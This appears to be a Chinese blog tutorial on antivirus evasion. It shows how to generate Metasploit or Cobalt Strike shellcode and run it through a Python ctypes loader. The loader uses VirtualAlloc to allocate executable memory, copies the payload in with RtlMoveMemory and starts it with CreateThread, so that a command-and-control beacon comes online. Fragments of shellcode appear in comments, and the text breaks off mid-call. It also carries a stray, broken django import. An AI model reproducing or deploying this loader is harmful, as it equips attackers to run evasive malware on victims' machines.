免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall

Python-MSF/CS生成shellcode-上线

cs上线

1.生成shellcode-c或者python

2.打开pycharm工具,创建一个py文件,将原生态执行代码复制进去

shellcode执行代码:

import ctypes

from django.contrib.gis import ptr


#cs

#shellcode=bytearray(b"生成的shellcode")


#msf的shellcode拼接代码

# shellcode = bytearray(b"")

# shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"

# shellcode += b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"

# print(shellcode)


#msf拼接后shellcode

shellcode = bytearray(b'拼接完成shellcode')


# 设置VirtualAlloc返回类型为ctypes.c_uint64

#在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64


# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存

ptr = ctypes.windll.kernel32.VirtualAlloc(

    ctypes.c_int(0),  #要分配的内存区域的地址

    ctypes.c_int(len(shellcode)), #分配的大小

    ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE

    ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性

    )


# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中

buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(

    ctypes.c_uint64(ptr),

    buffered,

    ctypes.c_int(len(shellcode))

)


# 创建一个线程从shellcode放置位置首地址开始执行

handle = ctypes.windll.kernel32.CreateThread(

    ctypes.c_int(0), #指向安全属性的指针

    ctypes.c_int(0), #初始堆栈大小

    ctypes.c_uint64(ptr), #指向起始地址的指针

    ctypes.c_int(0), #指向任何参数的指针

    ctypes.c_int(0), #创建标志

    ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针

)


# 等待上面创建的线程运行完

ctypes.windll.kernel32.WaitForSingleObject(ct
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaoheizi安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值